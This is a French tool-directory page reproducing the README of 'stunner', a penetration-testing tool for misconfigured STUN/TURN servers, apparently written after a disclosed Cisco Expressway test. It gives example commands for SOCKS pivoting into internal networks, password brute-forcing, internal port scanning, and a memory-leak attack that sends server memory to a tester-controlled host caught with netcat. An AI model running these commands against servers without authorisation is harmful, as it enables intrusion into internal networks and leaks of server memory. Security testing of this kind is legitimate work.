Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/firefart/stunner
Analyse des VulnérabilitésExploitationSécurité RéseauTests d'IntrusionMauvaise ConfigurationRed Teaming
GitHubfirefart/stunner

stunner

Testez et exploitez les serveurs STUN/TURN pour les mauvaises configurations, permettant le pivotement du réseau interne via un proxy SOCKS, les attaques par fuite de mémoire et le scan de ports internes.

Voir le dépôt
85746il y a 1 jourVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

STUNNER

Stunner est un outil pour tester et exploiter les serveurs STUN, TURN et TURN over TCP. TURN est un protocole principalement utilisé dans la visioconférence et les chats audio (WebRTC).

Si vous trouvez un serveur mal configuré, vous pouvez utiliser cet outil pour ouvrir un proxy socks local qui relaye tout le trafic via le protocole TURN dans le réseau interne derrière le serveur.

J'ai développé cet outil lors d'un test de Cisco Expressway qui a révélé plusieurs vulnérabilités : https://firefart.at/post/multiple_vulnerabilities_cisco_expressway/

Pour obtenir le nom d'utilisateur et le mot de passe requis, vous devez les récupérer en utilisant une méthode hors bande comme l'écoute de la requête Connect d'un navigateur web avec Burp. J'ai ajouté un exemple de workflow en bas du readme sur la façon de tester un tel serveur.

LICENCE

Ce travail est sous licence Creative Commons Attribution - Pas d'Utilisation Commerciale - Partage dans les Mêmes Conditions 4.0 International. Pour voir une copie de cette licence, visitez http://creativecommons.org/licenses/by-nc-sa/4.0/ ou envoyez une lettre à Creative Commons, PO Box 1866, Mountain View, CA 94042, États-Unis.

RFC implémentés

STUN : RFC 5389

TURN : RFC 5766

TURN pour TCP : RFC 6062

Extension TURN pour IPv6 : RFC 6156

Commandes disponibles

info

Cette commande affiche des informations sur le serveur stun ou turn, comme les protocoles supportés et les attributs tels que le logiciel utilisé.

Options

root@kitploit:~
--debug, -d                   active la sortie de débogage (défaut : false)
--turnserver value, -s value  serveur turn auquel se connecter au format hôte:port
--tls                         Utiliser TLS/DTLS pour la connexion au serveur STUN ou TURN (défaut : false)
--timeout value               délai d'attente de connexion au serveur turn (défaut : 1s)
--help, -h                    afficher l'aide (défaut : false)

Exemple

root@kitploit:~
./stunner info -s x.x.x.x:443

range-scan

Cette commande essaie plusieurs plages privées et restreintes pour voir si le serveur TURN est configuré pour autoriser les connexions vers les adresses IP spécifiées. Si une plage spécifique n'est pas interdite, vous pouvez énumérer cette plage plus en détail avec les autres commandes fournies. Si une IP est accessible, cela signifie que le serveur TURN transférera le trafic vers cette IP.

Options

root@kitploit:~
--debug, -d                   active la sortie de débogage (défaut : false)
--turnserver value, -s value  serveur turn auquel se connecter au format hôte:port
--tls                         Utiliser TLS/DTLS pour la connexion au serveur STUN ou TURN (défaut : false)
--protocol value              protocole à utiliser pour la connexion au serveur TURN. Valeurs supportées : tcp et udp (défaut : "udp")
--timeout value               délai d'attente de connexion au serveur turn (défaut : 1s)
--username value, -u value    nom d'utilisateur pour le serveur turn
--password value, -p value    mot de passe pour le serveur turn
--help, -h                    afficher l'aide (défaut : false)

Exemple

Connexion TURN basée sur TCP (connexion de vous au serveur TURN) :

root@kitploit:~
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol tcp

Connexion TURN basée sur UDP (connexion de vous au serveur TURN) :

root@kitploit:~
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol udp

socks

C'est l'une des commandes les plus utiles pour les serveurs TURN qui supportent les connexions TCP vers les serveurs backend. Elle lancera un serveur socks5 local sans authentification et relayera tout le trafic TCP via le protocole TURN (UDP via SOCKS n'est actuellement pas supporté). Si le serveur est mal configuré, il transférera le trafic vers des adresses internes, ce qui peut être utilisé pour atteindre des systèmes internes et abuser du serveur comme proxy dans le réseau interne. Si vous choisissez également d'effectuer des résolutions DNS via socks, elles seront résolues en utilisant votre serveur de noms local, il est donc préférable de travailler avec des adresses IPv4 et IPv6 privées. Veuillez noter que ce module ne peut relayer que le trafic TCP.

Options

root@kitploit:~
--debug, -d                   active la sortie de débogage (défaut : false)
--turnserver value, -s value  serveur turn auquel se connecter au format hôte:port
--tls                         Utiliser TLS/DTLS pour la connexion au serveur STUN ou TURN (défaut : false)
--protocol value              protocole à utiliser pour la connexion au serveur TURN. Valeurs supportées : tcp et udp (défaut : "udp")
--timeout value               délai d'attente de connexion au serveur turn (défaut : 1s)
--username value, -u value    nom d'utilisateur pour le serveur turn
--password value, -p value    mot de passe pour le serveur turn
--listen value, -l value      Adresse et port d'écoute (défaut : "127.0.0.1:1080")
--drop-public, -x             Ignorer les requêtes vers des IP publiques. Utile si la cible ne peut pas se connecter à Internet et que votre navigateur souhaite vérifier les certificats TLS via la connexion. (défaut : true)
--help, -h                    afficher l'aide (défaut : false)

Exemple

root@kitploit:~
./stunner socks -s x.x.x.x:3478 -u username -p password -x

Après avoir démarré le proxy, ouvrez votre navigateur, pointez le proxy dans vos paramètres vers socks5 avec une IP de 127.0.0.1:1080 (assurez-vous de ne pas activer l'option "ne pas utiliser le proxy pour les adresses locales" car nous voulons atteindre les adresses locales distantes) et appelez l'IP de votre choix dans le navigateur.

Exemple : https://127.0.0.1, https://127.0.0.1:8443 ou https://[::1]:8443 (ces adresses appelleront les ports sur le serveur TURN testé depuis les interfaces locales).

Vous pouvez également configurer proxychains pour utiliser ce proxy (mais ce sera très lent car chaque requête entraîne plusieurs requêtes pour activer le proxy). Modifiez simplement /etc/proxychains.conf et ajoutez la valeur socks5 127.0.0.1 1080 sous ProxyList.

Exemple de nmap via ce proxy socks5 avec un proxychains correctement configuré (notez qu'il s'agit de -sT pour effectuer des SYN TCP, sinon il n'utilisera pas le proxy socks5)

root@kitploit:~
sudo proxychains nmap -sT -p 80,443,8443 -sV 127.0.0.1

brute-transports

Cela ne donnera probablement aucune information exploitable mais peut être utile pour énumérer tous les transports disponibles (= protocoles vers les systèmes internes) supportés par le serveur. Cela peut révéler des implémentations de protocoles personnalisés mais ne renverra généralement que les valeurs par défaut.

Options

root@kitploit:~
--debug, -d                   active la sortie de débogage (défaut : false)
--turnserver value, -s value  serveur turn auquel se connecter au format hôte:port
--tls                         Utiliser TLS/DTLS pour la connexion au serveur STUN ou TURN (défaut : false)
--protocol value              protocole à utiliser pour la connexion au serveur TURN. Valeurs supportées : tcp et udp (défaut : "udp")
--timeout value               délai d'attente de connexion au serveur turn (défaut : 1s)
--username value, -u value    nom d'utilisateur pour le serveur turn
--password value, -p value    mot de passe pour le serveur turn
--help, -h                    afficher l'aide (défaut : false)

Exemple

root@kitploit:~
./stunner brute-transports -s x.x.x.x:3478 -u username -p password

brute-password

Cette commande essaie tous les mots de passe d'un fichier donné pour un nom d'utilisateur via le protocole TURN (UDP). Cela peut être utile lors de l'analyse d'un pcap où vous voyez le nom d'utilisateur mais pas le mot de passe. Veuillez noter qu'une force brute hors ligne est beaucoup plus rapide dans ce cas.

Options

root@kitploit:~
--debug, -d                   active la sortie de débogage (défaut : false)
--turnserver value, -s value  serveur turn auquel se connecter au format hôte:port
--tls                         Utiliser TLS/DTLS pour la connexion au serveur STUN ou TURN (défaut : false)
--protocol value              protocole à utiliser pour la connexion au serveur TURN. Valeurs supportées : tcp et udp (défaut : "udp")
--timeout value               délai d'attente de connexion au serveur turn (défaut : 1s)
--username value, -u value    nom d'utilisateur pour le serveur turn
--passfile value, -p value    fichier de mots de passe à utiliser pour la force brute
--help, -h                    afficher l'aide (défaut : false)

Exemple

root@kitploit:~
./stunner brute-password -s x.x.x.x:3478 -u username -p wordlist.txt

memoryleak

Cette attaque fonctionne de la manière suivante : Le serveur prend les données à envoyer à cible (doit être un port élevé > 1024 dans la plupart des cas) sous forme de TLV (Type Length Value). Cette exploit utilise une grande longueur avec une valeur courte. Si le serveur ne vérifie pas les limites du TLV, il pourrait vous envoyer une partie de la mémoire jusqu'à la longueur vers la cible. Cisco Expressway a été confirmé vulnérable à cette attaque, mais selon Cisco, elle ne fuit que la mémoire de la session en cours.

Options

root@kitploit:~
--debug, -d                   active la sortie de débogage (défaut : false)
--turnserver value, -s value  serveur turn auquel se connecter au format hôte:port
--tls                         Utiliser TLS/DTLS pour la connexion au serveur STUN ou TURN (défaut : false)
--protocol value              protocole à utiliser pour la connexion au serveur TURN. Valeurs supportées : tcp et udp (défaut : "udp")
--timeout value               délai d'attente de connexion au serveur turn (défaut : 1s)
--username value, -u value    nom d'utilisateur pour le serveur turn
--password value, -p value    mot de passe pour le serveur turn
--target value, -t value      Cible vers laquelle fuir la mémoire au format hôte:port. Doit être un serveur public sous votre contrôle
--size value                  Taille du tampon à fuir (défaut : 35510)
--help, -h                    afficher l'aide (défaut : false)

Exemple

Pour recevoir les données, nous devons configurer un récepteur sur un serveur avec une IP publique. Normalement, les pare-feux sont configurés pour n'autoriser que les ports élevés (> 1024) des serveurs TURN, alors assurez-vous d'utiliser un port élevé comme 8080 dans cet exemple lors de la connexion sortante vers Internet.

root@kitploit:~
sudo nc -u -l -n -v -p 8080 | hexdump -C

puis exécutez la commande suivante sur votre machine en ajoutant l'IP publique au paramètre t

root@kitploit:~
./stunner memoryleak -s x.x.x.x:3478 -t y.y.y.y:8080 -u username -p password

Si cela fonctionne, vous devriez voir d'importantes quantités de mémoire arriver ; sinon, vous ne verrez que de courts messages.

udp-scanner

Si un serveur TURN autorise les connexions UDP vers des cibles internes, ce scanner peut être utilisé pour analyser toutes les plages IP privées et leur envoyer des requêtes SNMP et DNS. Comme cela vérifie beaucoup d'IP, cela peut prendre plusieurs jours, alors utilisez-le avec précaution ou spécifiez des cibles plus petites via les paramètres. Vous devez fournir une chaîne de communauté SNMP qui sera essayée et un nom de domaine qui sera résolu sur chaque IP. Pour le nom de domaine, vous pouvez par exemple utiliser burp collaborator.

Options

root@kitploit:~
--debug, -d                   active la sortie de débogage (défaut : false)
--turnserver value, -s value  serveur turn auquel se connecter au format hôte:port
--tls                         Utiliser TLS/DTLS pour la connexion au serveur STUN ou TURN (défaut : false)
--protocol value              protocole à utiliser pour la connexion au serveur TURN. Valeurs supportées : tcp et udp (défaut : "udp")
--timeout value               délai d'attente de connexion au serveur turn (défaut : 1s)
--username value, -u value    nom d'utilisateur pour le serveur turn
--password value, -p value    mot de passe pour le serveur turn
--community-string value      chaîne de communauté SNMP à utiliser pour l'analyse (défaut : "public")
--domain value                nom de domaine à résoudre sur les serveurs DNS internes pendant l'analyse
--ip value                    Analyser une seule IP au lieu de toute la plage privée. Si laissé vide, toutes les plages privées sont analysées. Accepte des IP uniques ou le format CIDR. (accepte plusieurs entrées)
--help, -h                    afficher l'aide (défaut : false)

Exemple

root@kitploit:~
./stunner udp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8  --domain domain.you.control.com --community-string public

tcp-scanner

Similaire à udp-scanner mais envoie des requêtes HTTP vers les ports spécifiés (HTTPS n'est pas supporté)

Options

root@kitploit:~
--debug, -d                   active la sortie de débogage (défaut : false)
--turnserver value, -s value  serveur turn auquel se connecter au format hôte:port
--tls                         Utiliser TLS/DTLS pour la connexion au serveur STUN ou TURN (défaut : false)
--protocol value              protocole à utiliser pour la connexion au serveur TURN. Valeurs supportées : tcp et udp (défaut : "udp")
--timeout value               délai d'attente de connexion au serveur turn (défaut : 1s)
--username value, -u value    nom d'utilisateur pour le serveur turn
--password value, -p value    mot de passe pour le serveur turn
--ports value                 Ports à vérifier (défaut : "80,443,8080,8081")
--ip value                    Analyser une seule IP au lieu de toute la plage privée. Si laissé vide, toutes les plages privées sont analysées. Accepte des IP uniques ou le format CIDR. (accepte plusieurs entrées)
--help, -h                    afficher l'aide (défaut : false)

Exemple

root@kitploit:~
./stunner tcp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8

Exemple de workflow

Supposons que vous trouviez un service utilisant WebRTC et que vous souhaitiez le tester.

La première étape consiste à obtenir les données nécessaires. Je suggère de lancer Wireshark en arrière-plan et de simplement rejoindre une réunion via Burp pour collecter tout le trafic HTTP et Websocket. Ensuite, recherchez dans votre historique Burp des mots-clés liés à TURN comme 3478, password, credential et username (assurez-vous également de vérifier l'onglet websocket pour ces mots-clés). Cela pourrait révéler le serveur turn et le protocole (les points d'accès UDP et TCP peuvent avoir des ports différents) ainsi que les identifiants utilisés pour se connecter. Si vous ne trouvez pas les données dans Burp, commencez à regarder Wireshark pour identifier le trafic. S'il se trouve sur un port non standard ( autre que 3478), décodez le protocole dans Wireshark via un clic droit en tant que STUN. Cela devrait vous montrer le nom d'utilisateur utilisé pour se connecter, et vous pouvez utiliser cette information pour rechercher encore plus l'historique de Burp pour les données nécessaires. Veuillez noter que Wireshark ne peut pas vous afficher le mot de passe car le mot de passe est utilisé pour hacher certains contenus de paquets, il ne peut donc pas être inversé.

L'étape suivante consisterait à exécuter la commande info vers le serveur turn en utilisant le bon port et protocole obtenus depuis Burp.

Si cela fonctionne, l'étape suivante est un range-scan. Si cela autorise un trafic vers des systèmes internes, vous pouvez l'exploiter plus en détail, mais sachez que l'UDP n'a que des cas d'utilisation limités.

Si les connexions TCP vers des systèmes internes sont autorisées, lancez simplement la commande socks et accédez aux IP autorisées via un navigateur en configurant le proxy socks sur 127.0.0.1:1080. Vous pouvez essayer 127.0.0.1:443 et d'autres IP pour trouver des interfaces d'administration.

Télécharger l’outil